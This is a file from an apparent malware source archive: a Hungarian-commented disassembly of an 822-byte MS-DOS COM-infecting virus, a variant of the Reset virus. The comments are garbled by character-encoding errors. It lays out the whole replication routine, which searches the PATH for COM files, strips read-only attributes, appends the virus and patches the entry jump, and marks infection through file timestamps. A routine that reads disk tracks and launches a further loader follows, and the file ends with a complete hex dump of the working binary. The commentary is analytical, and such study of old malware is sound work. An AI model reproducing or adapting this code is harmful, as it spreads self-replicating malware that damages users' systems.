MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.v_822.asm
2021-01-12 18:01:59 -06:00

669 lines
27 KiB
NASM
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

A Resetel vˇrus Tltget fle mut nsa
***************************************
A Resetel vˇrussal teljes egszben megegyezik a fertz mechanizmus.
Eltekintve att˘l, hogy ez a mut ns nem tesz tnkre f jlokat. Az adatter<EFBFBD>let is
ugyanazon a cˇmen van, ˇgy ugyanŁgy lehet ˇrtani, mint a Resetelt. A v ltoz s:
a vˇrus hossza 822 byte, minden indˇt s ut n az A:-r˘l megpr˘b lja beolvasni a
BOOT-ot, majd a 40/80-dik s vot. Ha valamelyik Tltgetvel fertztt, akkor
elindˇtja a Tltgett !
;Ide (0100-ra) mutat a file elejr”l az ugr˘ utasˇt s.
;Els” feladat: az els” 3 byte visszaˇr sa az eredetire.
0100 51 PUSH CX ;CX a stacken marad mindvgig.
;A k”vetkez” utasˇt s operandus t ( jelen esetben 02F9-et )
;fert”zskor  llˇtja be , ˇgy mindig a helyes cˇmre mutat.
0101 BAF902 MOV DX,02F9 ;Eredeti els” 3 byte cˇme-10h
0104 FC CLD ;( ERE_DTA_OFS)
0105 8BF2 MOV SI,DX
0107 81C60A00 ADD SI,000A ;SI=offset ERE_KEZD
010B BF0001 MOV DI,0100 ;Program eleje
010E B90300 MOV CX,0003 ;3 byte
0111 F3 REPZ
0112 A4 MOVSB ;Az eredeti byteok vissza llˇt sa
;-----------------------------------------
; Install ci˘s rsz:
;-----------------------------------------
;DOS verzi˘ lekrdezse. 1.00-n l kisebb verzi˘n l az eredeti
;program futtat sa: ekkor a vˇrus nem m<>k”dik.
0113 8BF2 MOV SI,DX ;Ezut n SI-ben az adatter<65>let cˇme
0115 B430 MOV AH,30
0117 CD21 INT 21 ;DOS verzi˘ lekrdezse
0119 3C00 CMP AL,00 ;Csak 1.00-n l kisebbnl lp ki
011B 7503 JNZ 0120
011D E9C701 JMP 02E7 ;Eredeti program futtat sa
;Disk Transzfer Address lekrdezse, elmentse
0120 06 PUSH ES
0121 B42F MOV AH,2F
0123 CD21 INT 21 ;DTA leolvas sa (ES:BX), meg”rzse
0125 899C0000 MOV [SI+0000],BX ;ERE_DTA_OFS (02F9)
0129 8C840200 MOV [SI+0002],ES ;ERE_DTA_SEG (02FB)
;-------------------------------------------------------
; A beiktatott behŁz˘ rsz
;-------------------------------------------------------
012D E85802 CALL 0388
0130 07 POP ES
;DTA be llˇt sa ENTRY cˇmre (0358). Igy a FindFirst, FindNext
;DOS funkci˘k ide fogj k m solni a file adatait (nevt,idejt,
;hossz t,stb).
0131 BA5F00 MOV DX,005F
;{Val˘szˇn<CB87>leg rgi assemblerrel ˇrt k a vˇrust, ezrt van itt
;egy NOP utasˇt s.}
0134 90 NOP
0135 03D6 ADD DX,SI
0137 B41A MOV AH,1A
0139 CD21 INT 21 ;DTA  llˇt sa DS:DX-re: ENTRY(0358)
;A PATH-ok cˇmnek megkeresse. Ha az aktu lis k”nyvt rban m r
;mindegyik filet megfert”zte , itt taj lja meg azoknak az al-
;k”nyvt raknak a nevt , amelyekben mg megfert”zend” fileokat
;tal lhat.
013B 06 PUSH ES
013C 56 PUSH SI
013D 8E062C00 MOV ES,[002C];Environment (k”rnyezet) segmense
0141 BF0000 MOV DI,0000 ;ES:DI fog a megfelel” helyre
;(a k”vetkez” directoryra) mutatni
;A k”vetkez” rsz a PATH= sz”veget keresi meg az environment
;ter<65>leten:
0144 5E POP SI
0145 56 PUSH SI
0146 81C61A00 ADD SI,001A ;STR_PATH (0313)
014A AC LODSB ;AL=DS:[SI],SI++
014B B90080 MOV CX,8000 ;max 32k az environment
014E F2 REPNZ
014F AE SCASB ;AL-ES:[DI] Megkeresi a k”vetkez”
;'P' bet<65>t
0150 B90400 MOV CX,0004 ;Mg 4 bet<65> azonosˇt sa
0153 AC LODSB ;AL=DS:[SI],SI++
0154 AE SCASB ;AL-ES:[DI],DI++
0155 75ED JNZ 0144 ;Ugr s, ha a k”vetkez” 4 bet<65> nem
;egyezik (nem 'ATH=')
0157 E2FA LOOP 0153
0159 5E POP SI ;ES:DI mutat az els” PATH-ra
015A 07 POP ES
015B 89BC1600 MOV [SI+0016],DI ;PATH_MUT (030F)
015F 8BFE MOV DI,SI ;{Hogy ez minek ? Ks”bb Łgyis
0161 81C71F00 ADD DI,001F ;fel<65>lˇrja} FILE_PATH (0318)
0165 8BDE MOV BX,SI ;Ezut n BX mutat az adatokra
0167 81C61F00 ADD SI,001F ;SI is a FILE_PATH-ra(0318) mutat
016B 8BFE MOV DI,SI ;{Az el”bb m r be llitotta (?)}
016D EB3A JMP 01A9
;A k”vetkez” PATH-ban megadott aldirectoryt FILE_PATH-ra m -
;solja. Igy a k”vetkez” fileokat m r ebben az aldirectoryban
;fogja keresni.
016F 83BC160000 CMP WORD PTR [SI+0016],+00 ;PATH_MUT (030F)
0174 7503 JNZ 0179
0176 E96001 JMP 02D9 ;Ugr s, ha nincs t”bb PATH aldir.
;(mindet megfert”te m r)
0179 1E PUSH DS
017A 56 PUSH SI
017B 26 ES:
017C 8E1E2C00 MOV DS,[002C] ;Environment segmense
0180 8BFE MOV DI,SI ;(02F9)
0182 26 ES:
0183 8BB51600 MOV SI,[DI+0016] ;PATH_MUT (030F)
0187 81C71F00 ADD DI,001F ;FILE_PATH cˇme (0318)
018B AC LODSB ;AL=DS:[SI] SI++
018C 3C3B CMP AL,3B ;';'
018E 740A JZ 019A
0190 3C00 CMP AL,00
0192 7403 JZ 0197
0194 AA STOSB ;ES:[DI]:=AL DI++
0195 EBF4 JMP 018B ;Źtm sol s ';' vagy #0-ig
;#0-val z rult a PATH bejegyzs => nem lesz t”bb
0197 BE0000 MOV SI,0000
019A 5B POP BX ;Ezut n BX mutat az adatokra
019B 1F POP DS
019C 89B71600 MOV [BX+0016],SI ;PATH_MUT (030F) = 0
;( Nincs t”bb PATH jelzs )
;A k”vetkez” PATH-ban adott aldir. m r  tm solva.
01A0 807DFF5C CMP BYTE PTR [DI-01],5C
01A4 7403 JZ 01A6 ;Ugr s, ha az ut˘ls˘ bet<65> a '\'
01A6 B05C MOV AL,5C ;Egybknt '\' ˇr s
01A8 AA STOSB ;ES:[DI]:=AL DI++
;Egy aldirectory kirtkelse . El”sz”r az aktu lis , majd a
;FILE_PATH -ra m solt aldirectory vgignzse, fert”zs.
;DI a FILE_PATH-ba ˇrt aldirectory neve ut ni pozici˘ra mutat.
;A COM kiterjeszts<E2809A> fileok megkeresse:
01A9 89BF1800 MOV [BX+0018],DI ;FILE_NEV_MUT (0311)
;Ide kell majd a file nevt
;m solni (az aldir. neve ut n)
01AD 8BF3 MOV SI,BX ;(02F9)
01AF 81C61000 ADD SI,0010 ;KERES_STR (0309)
01B3 B90600 MOV CX,0006 ;6 bet<65>  tm sol sa ('*.COM',0)
01B6 F3 REPZ ;A PATH-ban megadott aldirectory
01B7 A4 MOVSB ;m”g , ˇgy teljes keressi utunk
;lesz
01B8 8BF3 MOV SI,BX ;(02F9)
01BA B44E MOV AH,4E ;FIND FIRST ENTRY
01BC BA1F00 MOV DX,001F
01BF 90 NOP
01C0 03D6 ADD DX,SI ;FILE_PATH (0318)
01C2 B90300 MOV CX,0003 ;HIDDEN, READ ONLY
01C5 CD21 INT 21 ;Az els” COM kiterjeszts<E2809A> file
;megkeresse . A file adatait a DTA
; ltal mutatott cˇmre (ENTRY 0358)
;m solja.
01C7 EB04 JMP 01CD
;K”vetkez” COM file keresse (adatai ENTRY-re ker<65>lnek).
01C9 B44F MOV AH,4F ;FIND NEXT
01CB CD21 INT 21
01CD 7302 JNB 01D1
01CF EB9E JMP 016F ;Ha nem tal l t”bb COM filet : —j
;aldirt keres a PATH-ban
;M r tal lt COM filet. Adataival az ENTRY fel van t”ltve.Ennek
;a filenak az ellen”rzse, fert”zse k”vetkezik.
;Annak ellen”rzse , hogy a file megfert”zhet”-e (fert”z”tt-e,
;tŁl hosszŁ-e, tŁl r”vid-e) . Ha nem fert”zhet” visszaugrik Łj
;fileokat keresni.
01D1 8B847500 MOV AX,[SI+0075] ;ENT_IDO (036E) A file ideje
01D5 241F AND AL,1F
01D7 3C1F CMP AL,1F ;Ugr s, ha az als˘ 5 bit 1-es:
01D9 74EE JZ 01C9 ;a file m r fert”z”tt.
01DB 81BC790000FA CMP WORD PTR [SI+0079],FA00 ;ENT_HOSSZ (0372)
01E1 77E6 JA 01C9 ;Ugr s, ha file hossza nagyobb,mint
;64000h (m r nem fr bele a vˇrus)
01E3 83BC79000A CMP WORD PTR [SI+0079],+0A ;ENT_HOSSZ (0372)
01E8 72DF JB 01C9 ;Ugr s, ha r”videbb 10h byten l
;-----------------------------------------
; Megvan a kiv laszott file.
;-----------------------------------------
;A file nevt az aldirectory neve ut n kell m solni , hogy a
;teljes Łt rendelkezs<E2809A>nkre  lljon , ˇgy majd meg tudja nyitni
;a filet.
01EA 8BBC1800 MOV DI,[SI+0018] ;FILE_NEV_MUT (0311) Ide fogja
01EE 56 PUSH SI ;a file nevt m solni
01EF 81C67D00 ADD SI,007D ;ENT_NEV (0376)
01F3 AC LODSB ;AL:=DS:[SI] SI++
01F4 AA STOSB ;ES:[DI]:=AL DI++ (M sol s)
01F5 3C00 CMP AL,00 ;Nvlez r˘ 0-ig m sol
01F7 75FA JNZ 01F3
01F9 5E POP SI ;SI Łjra az adatokra mutat
;A file egyes eredeti inform ci˘inak meg”rzse , hogy a fert”-
;zs ne t<>nj”n fel.
;Az eredeti attributtum meg”rzse:
;{Fogalmam sincs mirt kell a file attributtum t mg egyszer
;lekrdezni , amikor az ENTRY ter<65>leten megtal lhat˘ . Tal n a
;vˇrus ˇr˘ja nem tudta?}
01FA B80043 MOV AX,4300 ;File attributtum nak lekrdezse
01FD BA1F00 MOV DX,001F ;FILE_PATH ([SI+1F] 0318)
0200 90 NOP ;{piszok}
0201 03D6 ADD DX,SI ;DS:DX mutat a file Łtj ra
0203 CD21 INT 21 ;CX-ben az attributtum
0205 898C0800 MOV [SI+0008],CX ;ERE_ATTR (0301)
;A file ˇr svdelmnek t”rlse:
0209 B80143 MOV AX,4301 ;File attributtum nak  llit sa
020C 81E1FEFF AND CX,FFFE ;Read Only jelzs t”rlse
0210 BA1F00 MOV DX,001F ;{ Az el”bb m r be llˇtotta, minek
0213 90 NOP ;Łjra? }
0214 03D6 ADD DX,SI ;FILE_PATH (0318)
0216 CD21 INT 21
;File megnyit sa:
0218 B8023D MOV AX,3D02 ;File megnyit sa ˇr sra, olvas sra
021B BA1F00 MOV DX,001F ;{Mg egyszer be llˇtja!}
021E 90 NOP ;{piszok}
021F 03D6 ADD DX,SI ;FILE_PATH (0318)
0221 CD21 INT 21
0223 7303 JNB 0228
0225 E9A200 JMP 02CA ;Hib n l: nincs fert”zs
0228 8BD8 MOV BX,AX ;Handle
;A file eredeti (mostani) idejnek lekrdezse:
;{Ez is megtal lhat˘ lenne az ENTRY ter<65>leten!}
022A B80057 MOV AX,5700 ;Get Date & Time
022D CD21 INT 21
022F 898C0400 MOV [SI+0004],CX ;ERE_TIME (02FD)
0233 89940600 MOV [SI+0006],DX ;ERE_DATE (02FF)
;Annak eld”ntse , hogy a kiv lasztott filet t”nkretegye-e ,
;vagy megfert”zze . Lekrdezi a jelenlegi id”t , s ha m sod-
;perceinek sz ma 8-cal oszthat˘ , akkor a filet resetel”v te-
;szi, egybknt pedig megfert”zi. Igy az esetek 2/15-”d rsz-
;ben teszi csak t”nkre a filet.
0237 B42C MOV AH,2C ;A mostani id” lekrdezse
0239 CD21 INT 21
023B 80E607 AND DH,07 ;A m sodpercek als˘ 3 bitje
023E EB0D JMP 024D ;Fert”zs
0240 90 NOP
; Szemt a Reselet”lb”l
0241 B440 MOV AH,40
0243 B90500 MOV CX,0005
0246 8BD6 MOV DX,SI
0248 81C28A00 ADD DX,008A
024C 90 NOP
;-----------------------------------------
; Fert”zs:
;-----------------------------------------
;Az eredeti file els” 3 bytej nak meg”rzse , hogy ks”bb mg
;futtatni lehessen.
024D B43F MOV AH,3F ;Olvas s fileb˘l
024F B90300 MOV CX,0003 ;Az els” 3 byte beolvas sa
0252 BA0A00 MOV DX,000A
0255 90 NOP ;{piszok}
0256 03D6 ADD DX,SI ;ERE_KEZD (0303)
0258 CD21 INT 21
025A 7255 JB 02B1 ;Hib n l vge
025C 3D0300 CMP AX,0003
025F 7550 JNZ 02B1 ;Hib n l vge
;File vgre  ll s, az Łj cˇmek kisz mˇt sa:
0261 B80242 MOV AX,4202 ;File Pointer file vgre  llˇt sa
0264 B90000 MOV CX,0000
0267 BA0000 MOV DX,0000
026A CD21 INT 21
026C 7243 JB 02B1 ;{Itt nem nagyon lehet hiba!}
;A file elejre irand˘ JMP operandus nak kisz mˇt sa:
026E 8BC8 MOV CX,AX ;AX-ben a file hossza
0270 2D0300 SUB AX,0003 ;AX-ben az eltol s a JMP utasˇt s-
;hoz, ahhoz amit a file elejre fog
;majd ˇrni . Igy ez a JMP a file
;mostani vge ut ni bytera fog mu-
;tatni.
0273 89840E00 MOV [SI+000E],AX ;CIM_JMP (0307)
;Az Łj fileon bel<65>li adatter<65>let cˇmnek kisz mˇt sa s be l-
;lˇt sa:
0277 81C1F902 ADD CX,02F9 ;CX az Łj fileon bel<65>li adatter<65>-
027B 8BFE MOV DI,SI ;letre mutat.
027D 81EFF701 SUB DI,01F7 ;A vˇrus els” utasˇt s nak (MOV DX,
;02F9) operandus nak cˇme.
0281 890D MOV [DI],CX ;Ide ˇrja az adatter<65>let cˇmt
;-----------------------------------------
; A vˇrus hozz m solja mag t a filehoz:
;-----------------------------------------
;(A filemutat˘ a file vgre mutat.)
0283 B440 MOV AH,40 ;Ir s fileba.
0285 B93603 MOV CX,0336 ;822 byte (a vˇrus hossza)
0288 8BD6 MOV DX,SI
028A 81EAF901 SUB DX,01F9 ;DX a vˇrus els” bytej ra mutat
028E CD21 INT 21
0290 721F JB 02B1 ;Hib n l vge
0292 3D3603 CMP AX,0336
0295 751A JNZ 02B1 ;Ha nem ˇrta ki mind a 648 byteot
;Az els” 3 byte  t llˇt sa, egy a file vgre mutat˘ ugr˘ uta-
;sˇt sra:
0297 B80042 MOV AX,4200 ;A file pointer a file elejre!
029A B90000 MOV CX,0000
029D BA0000 MOV DX,0000
02A0 CD21 INT 21
02A2 720D JB 02B1 ;{Itt sem lehet hiba!}
02A4 B440 MOV AH,40 ;Ir s fileba
02A6 B90300 MOV CX,0003 ;3 byte
02A9 8BD6 MOV DX,SI
02AB 81C20D00 ADD DX,000D ;B_JMP (0306) DX az ugr˘ utasˇt sra
02AF CD21 INT 21 ;mutat
;Az eredeti id” ( m r a fert”zsjelzssel egy<67>tt ) vissza llˇ-
;t sa:
02B1 8B940600 MOV DX,[SI+0006] ;ERE_DATE (02FF)
02B5 8B8C0400 MOV CX,[SI+0004] ;ERE_TIME (027D)
02B9 81E1E0FF AND CX,FFE0 ;{Teljesen felesleges!}
02BD 81C91F00 OR CX,001F ;M r volt fert”zve jelzs
02C1 B80157 MOV AX,5701 ;Set Date & Time
02C4 CD21 INT 21
;A file lez r sa:
02C6 B43E MOV AH,3E ;Close Handle
02C8 CD21 INT 21
;Az eredeti attributtum vissza llˇt sa:
02CA B80143 MOV AX,4301 ;Set File Attributtum
02CD 8B8C0800 MOV CX,[SI+0008] ;ERE_ATTR (0301)
02D1 BA1F00 MOV DX,001F
02D4 90 NOP
02D5 03D6 ADD DX,SI ;FILE_PATH (0318)
02D7 CD21 INT 21
;DTA vissza llˇt sa az eredeti cˇmre:
02D9 1E PUSH DS
02DA B41A MOV AH,1A ;Set DTA
02DC 8B940000 MOV DX,[SI+0000] ;ERE_DTA_OFS (02F9)
02E0 8E9C0200 MOV DS,[SI+0002] ;ERE_DTA_SEG (02FB)
02E4 CD21 INT 21
02E6 1F POP DS
;-----------------------------------------
; Az eredeti program futtat sa:
;-----------------------------------------
02E7 59 POP CX ;CX vissza llˇt sa
02E8 33C0 XOR AX,AX ;Regiszterek null z sa
02EA 33DB XOR BX,BX
02EC 33D2 XOR DX,DX
02EE 33F6 XOR SI,SI
02F0 BF0001 MOV DI,0100
02F3 57 PUSH DI ;0100 a stackre
02F4 33FF XOR DI,DI
02F6 C2FFFF RET FFFF ;100-on folytat˘dik a vezrls
;SP-- {Hogy minek?}
;-----------------------------------------
; ADAT TERšLET
;-----------------------------------------
;Ide mutat (02F9-re) a vˇrus elejn DX, ks”bb SI,BX.
02F9 ERE_DTA_OFS DW (?) ;[SI+00] Eredeti DTA cˇme
02FB ERE_DTA_SEG DW (?) ;[SI+02]
02FD ERE_TIME DW (?) ;[SI+04] A file eredeti ideje,
02FF ERE_DATE DW (?) ;[SI+06] d tuma,
0301 ERE_ATTR DW (?) ;[SI+08] attributtuma
0303 ERE_KEZD DB 3 DUP (?) ;[SI+0A]
;A file eredeti els” 3 byteja.
;A k”vetkez” 3 byteon lesz az a 3 byte , amit a vˇrus egy meg-
;fert”zend” file elejre fog ˇrni.
0306 B_JMP DB E9 ;[SI+0D]
;JMP gpik˘dja
0307 CIM_JMP DW (?) ;Eltol s (JMP operandusa)
0309 KERES_STR DB '*.COM',0 ;[SI+10]
;Ezt a stringet m solja a
;FILE_NEV_MUT cˇmre
030F PATH_MUT DW (?) ;[SI+16]
;Hol a k”vetkez” aldirectory neve
;az environmenten.
0311 FILE_NEV_MUT DW (?) ;[SI+18]
;Az  tm solt aldirectory m”g mu-
;tat.
;Azt mutatja , hogy hova kell a
;keressi stringet(*.COM), majd a
;file nevt m solni a FILE_PATH-
;on bel<65>l ahhoz, hogy teljes utat
;kapjunk.
0313 STR_PATH DB 'PATH=' ;[SI+1A] Ezt a stringet keresi az
;environment ter<65>leten.
0318 FILE_PATH DB 40 DUP (?);[SI+1F]
;Itt lesz majd a keressi string
;s a fert”zend” file neve Łttal
;egy<67>tt.
;Ide mutat a DTA. Ezt a ter<65>letet fogja a DOS a file adataival
;felt”lteni.
0358 ENTRY DB 15 DUP (?);Fenntartott [SI+5F]
036D ENT_ATTR DB (?) ;Attributtum [SI+74]
036E ENT_IDO DW (?) ;Keletkezs ideje [SI+75]
0370 ENT_DATUM DW (?) ;Keletkezs d tuma [SI+77]
0372 ENT_HOSSZ DW (?) ;Als˘ sz˘ [SI+79]
0374 DW (?) ;Fels” sz˘ [SI+7B]
0376 ENT_NEV DB 0D DUP (?);Megtal lt file neve [SI+7D]
0383 RESET DB EA,F0,FF,00,F0 ;JMP F000:FFF0 [SI+8A]
;Nem haszn lja
;----------------------------------------------------
; A T”lt”get”t behŁz˘ rsz
;----------------------------------------------------
0388 50 PUSH AX ;Regiszterek elmentse
0389 53 PUSH BX
038A 51 PUSH CX
038B 52 PUSH DX
038C 06 PUSH ES
038D 1E PUSH DS
038E 57 PUSH DI
038F 56 PUSH SI
0390 E80000 CALL 0393 ;Lebuk s !! (/g)
0393 5B POP BX ;BX=0393
;A: BOOT beolvas sa/T”lt”get” lekrdezse
0394 BEA55A MOV SI,5AA5 ;T”lt”get” lekrdezse
0397 BFAA55 MOV DI,55AA
039A 0E PUSH CS
039B 07 POP ES
039C 81C3E803 ADD BX,03E8 ;BX=077B
03A0 81FBE803 CMP BX,03E8
03A4 7303 JNB 03A9
03A6 E98200 JMP 042B ;Ha nincs elg szabad mem˘ria a szegmensen
03A9 53 PUSH BX
03AA B80102 MOV AX,0201 ;A:BOOT beolvas sa
03AD BA0000 MOV DX,0000
03B0 B90100 MOV CX,0001
03B3 CD13 INT 13
03B5 5B POP BX
03B6 7308 JNB 03C0
03B8 80FC06 CMP AH,06 ;Ha lemezcsere volt, az nem hiba
03BB 74EC JZ 03A9
03BD EB6C JMP 042B ;Val˘di hiba->vge
03BF 90 NOP
03C0 81FE5AA5 CMP SI,A55A
03C4 7465 JZ 042B ;Vge, ha a T”lt”get” m r a mem˘ri ban van
;Van-e elg szabad mem˘ria a T”lt”get” beolvas s hoz
03C6 8CC8 MOV AX,CS
03C8 050010 ADD AX,1000
03CB 53 PUSH BX
03CC 50 PUSH AX
03CD CD12 INT 12 ;Max mem.
03CF BB4000 MOV BX,0040
03D2 F7E3 MUL BX ;AX-ben a mem˘ria tetejnek szegmense
03D4 2D0010 SUB AX,1000 ;legal bb 4Kb kell a T”lt”get”nek
03D7 8BD8 MOV BX,AX
03D9 58 POP AX ;CS+1000
03DA 3BD8 CMP BX,AX
03DC 7304 JNB 03E2
03DE 5B POP BX
03DF EB4A JMP 042B ;Vge, ha nincs elg szabad mem˘ria
03E1 90 NOP
; A lemez ut˘ls˘ s vj nak megkeresse
03E2 5B POP BX ;BX=077B
03E3 8EC0 MOV ES,AX ;Max mem-1000
03E5 2E CS:
03E6 8B4718 MOV AX,[BX+18] ;S v hossza
03E9 2E CS:
03EA 8B4F1A MOV CX,[BX+1A] ;Oldalak sz ma
03ED F7E1 MUL CX
03EF 8BC8 MOV CX,AX ;Egy cilinder nagys ga
03F1 2E CS:
03F2 8B4713 MOV AX,[BX+13] ;Szektorok sz ma
03F5 BA0000 MOV DX,0000
03F8 F7F1 DIV CX ;Osztva a cilinder nagys g val AL-ben a s v
; Az ut˘ls˘ s v beolvas sa
03FA 81EBE803 SUB BX,03E8 ;BX=0393
03FE 53 PUSH BX
03FF 8AE8 MOV CH,AL ;40/80-dik s v
0401 B101 MOV CL,01
0403 BB0001 MOV BX,0100 ;ES:BX-re olvas !
0406 BA0000 MOV DX,0000
0409 B80802 MOV AX,0208 ;8 szektor beolvas sa
040C CD13 INT 13
040E 5B POP BX
040F 721A JB 042B ;Hib n l vge
; Ha a T”lt”get”t tal l, elindˇtja
0411 53 PUSH BX
0412 BB0001 MOV BX,0100
0415 26 ES:
0416 8B07 MOV AX,[BX]
0418 3D5224 CMP AX,2452 ;Azonosˇt˘
041B 5B POP BX
041C 750D JNZ 042B ;Ha nem T”lt”get”
041E 8BC3 MOV AX,BX
0420 059800 ADD AX,0098 ;AX=042B (A visszatrsre mutat)
0423 0E PUSH CS
0424 50 PUSH AX
0425 B80A01 MOV AX,010A ;T”lt”get” belpsi pontja
0428 06 PUSH ES
0429 50 PUSH AX
042A CB RETF
; Visszatrs
042B 5E POP SI ;Regiszterek vissza
042C 5F POP DI
042D 1F POP DS
042E 07 POP ES
042F 5A POP DX
0430 59 POP CX
0431 5B POP BX
0432 58 POP AX
0433 C3 RET
0434 0000 DW 0000 ;???
A vˇrus hexa dumpja :
0100 51 BA F9 02 FC 8B F2 81-C6 0A 00 BF 00 01 B9 03 Q...............
0110 00 F3 A4 8B F2 B4 30 CD-21 3C 00 75 03 E9 C7 01 ......0.!<.u....
0120 06 B4 2F CD 21 89 9C 00-00 8C 84 02 00 E8 58 02 ../.!.........X.
0130 07 BA 5F 00 90 03 D6 B4-1A CD 21 06 56 8E 06 2C .._.......!.V..,
0140 00 BF 00 00 5E 56 81 C6-1A 00 AC B9 00 80 F2 AE ....^V..........
0150 B9 04 00 AC AE 75 ED E2-FA 5E 07 89 BC 16 00 8B .....u...^......
0160 FE 81 C7 1F 00 8B DE 81-C6 1F 00 8B FE EB 3A 83 ..............:.
0170 BC 16 00 00 75 03 E9 60-01 1E 56 26 8E 1E 2C 00 ....u..`..V&..,.
0180 8B FE 26 8B B5 16 00 81-C7 1F 00 AC 3C 3B 74 0A ..&.........<;t.
0190 3C 00 74 03 AA EB F4 BE-00 00 5B 1F 89 B7 16 00 <.t.......[.....
01A0 80 7D FF 5C 74 03 B0 5C-AA 89 BF 18 00 8B F3 81 .}.\t..\........
01B0 C6 10 00 B9 06 00 F3 A4-8B F3 B4 4E BA 1F 00 90 ...........N....
01C0 03 D6 B9 03 00 CD 21 EB-04 B4 4F CD 21 73 02 EB ......!...O.!s..
01D0 9E 8B 84 75 00 24 1F 3C-1F 74 EE 81 BC 79 00 00 ...u.$.<.t...y..
01E0 FA 77 E6 83 BC 79 00 0A-72 DF 8B BC 18 00 56 81 .w...y..r.....V.
01F0 C6 7D 00 AC AA 3C 00 75-FA 5E B8 00 43 BA 1F 00 .}...<.u.^..C...
0200 90 03 D6 CD 21 89 8C 08-00 B8 01 43 81 E1 FE FF ....!......C....
0210 BA 1F 00 90 03 D6 CD 21-B8 02 3D BA 1F 00 90 03 .......!..=.....
0220 D6 CD 21 73 03 E9 A2 00-8B D8 B8 00 57 CD 21 89 ..!s........W.!.
0230 8C 04 00 89 94 06 00 B4-2C CD 21 80 E6 07 EB 0D ........,.!.....
0240 90 B4 40 B9 05 00 8B D6-81 C2 8A 00 90 B4 3F B9 ..@...........?.
0250 03 00 BA 0A 00 90 03 D6-CD 21 72 55 3D 03 00 75 .........!rU=..u
0260 50 B8 02 42 B9 00 00 BA-00 00 CD 21 72 43 8B C8 P..B.......!rC..
0270 2D 03 00 89 84 0E 00 81-C1 F9 02 8B FE 81 EF F7 -...............
0280 01 89 0D B4 40 B9 36 03-8B D6 81 EA F9 01 CD 21 ....@.6........!
0290 72 1F 3D 36 03 75 1A B8-00 42 B9 00 00 BA 00 00 r.=6.u...B......
02A0 CD 21 72 0D B4 40 B9 03-00 8B D6 81 C2 0D 00 CD .!r..@..........
02B0 21 8B 94 06 00 8B 8C 04-00 81 E1 E0 FF 81 C9 1F !...............
02C0 00 B8 01 57 CD 21 B4 3E-CD 21 B8 01 43 8B 8C 08 ...W.!.>.!..C...
02D0 00 BA 1F 00 90 03 D6 CD-21 1E B4 1A 8B 94 00 00 ........!.......
02E0 8E 9C 02 00 CD 21 1F 59-33 C0 33 DB 33 D2 33 F6 .....!.Y3.3.3.3.
02F0 BF 00 01 57 33 FF C2 FF-FF 80 00 57 0B 96 01 21 ...W3......W...!
0300 00 20 00 E9 00 00 E9 FD-0F 2A 2E 43 4F 4D 00 71 . .......*.COM.q
0310 07 21 07 50 41 54 48 3D-54 45 53 5A 54 2E 43 4F .!.PATH=TESZT.CO
0320 4D 00 4F 4D 00 20 20 20-20 20 20 20 20 20 20 20 M.OM.
0330 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20
0340 20 20 20 20 20 20 20 20-20 20 20 20 20 20 20 20
0350 20 20 20 20 20 20 20 20-03 3F 3F 3F 3F 3F 3F 3F .???????
0360 3F 43 4F 4D 03 03 00 4B-09 A1 7D 73 6F 20 96 01 ?COM...K..}so ..
0370 21 00 00 10 00 00 54 45-53 5A 54 2E 43 4F 4D 00 !.....TESZT.COM.
0380 4F 4D 00 EA F0 FF 00 F0-50 53 51 52 06 1E 57 56 OM......PSQR..WV
0390 E8 00 00 5B BE A5 5A BF-AA 55 0E 07 81 C3 E8 03 ...[..Z..U......
03A0 81 FB E8 03 73 03 E9 82-00 53 B8 01 02 BA 00 00 ....s....S......
03B0 B9 01 00 CD 13 5B 73 08-80 FC 06 74 EC EB 6C 90 .....[s....t..l.
03C0 81 FE 5A A5 74 65 8C C8-05 00 10 53 50 CD 12 BB ..Z.te.....SP...
03D0 40 00 F7 E3 2D 00 10 8B-D8 58 3B D8 73 04 5B EB @...-....X;.s.[.
03E0 4A 90 5B 8E C0 2E 8B 47-18 2E 8B 4F 1A F7 E1 8B J.[....G...O....
03F0 C8 2E 8B 47 13 BA 00 00-F7 F1 81 EB E8 03 53 8A ...G..........S.
0400 E8 B1 01 BB 00 01 BA 00-00 B8 08 02 CD 13 5B 72 ..............[r
0410 1A 53 BB 00 01 26 8B 07-3D 52 24 5B 75 0D 8B C3 .S...&..=R$[u...
0420 05 98 00 0E 50 B8 0A 01-06 50 CB 5E 5F 1F 07 5A ....P....P.^_..Z
0430 59 5B 58 C3 00 00 Y[X...